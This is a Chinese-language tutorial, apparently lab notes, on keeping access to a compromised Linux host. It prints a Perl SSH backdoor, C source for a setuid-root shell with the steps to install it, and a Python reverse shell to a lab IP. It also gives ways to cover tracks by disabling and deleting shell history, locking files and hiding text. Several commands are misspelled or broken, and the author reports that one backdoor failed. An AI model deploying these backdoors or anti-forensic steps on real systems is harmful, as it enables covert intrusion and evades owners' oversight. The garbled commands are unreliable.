前面讲解了window中的权限维持的方法,本期给大家讲解一下Linux中权限维持的方法,内容比较少,大家还是能掌握尽量都掌握吧,在以后的工作渗透中,也是需要用上的。
过滤
ps -elf |grep 12345
监听端口
nc -lvvp 123
查看端口
netstat -anlp|grep 12345
(1)ssh后门(脚本内容)(192.168.231.134)
#!/usr/bin/perl
exec “bin/sh” if (getpeername(STDIN) =~ /^…4A/);
exec {"/usr/bin/sshd"} “/usr/sbin/sshd”,@ARGV,
开启ssh服务,连接ssh(192.168.231.128)
ssh [email protected] -p 12345(无需密码即可登录成功)
实验失败
获得shell后,利用python模块获取虚拟终端
python -c ‘import pty;pty.spawn("/bin/bash")’
查看登录的来源
w who last
ip addr 查看ip地址
本次实验,脚本没有执行成功,这里就不演示了。
(2)Setuid and Setgid(以普通权限获取root权限)
C脚本
#include
void main(int argc,char *argv[])
{
setuid(0);
setgid(0);
if(argc>1)
execl("/bin/sh","sh","-c",grgv[1],NULL);
else
execl("/bin/sh","sh",NULL);
}
在kali编译脚本并执行
gcc back.c -o back
cp back .bin/
chmod u+s /bin/back
编译脚本并生成back文件,复制到bin目录下,赋予读写的权限
查看权限
ll /bin/back
执行命令
back whoami
back
whoami
root
执行成功,实验结束。
chatter +i 1.txt(即使是root权限也删除不了)
chatter -i 1.txt 把特殊的权限给删除了
touch 创建
rm -rf 1.txt 删除
ll 123 查看权限
ls -la 查看权限
拿到shell后,开启无痕模式,禁用命令历史记录功能
set +o history
恢复
set -o history
删除历史命令
删除100行疑惑的操作命令
set -i “1000,$d” .bash_history
反弹shell的网站
webshell.github.io/reverse-shell-generator/
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.231.128”,8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’
\r后门(隐藏前面的内容)
123\r456
cat 1.txt
456
vim 1.txt
123456
Linux权限维持的内容相对来说比较少,因为没有了组和域的概念,也没有了注册表的概念,所以在内网环境中,公司里主要还是以window渗透为主,所以window中的权限维持的方法有很多,大多是写入注册表中,开机自启运行的。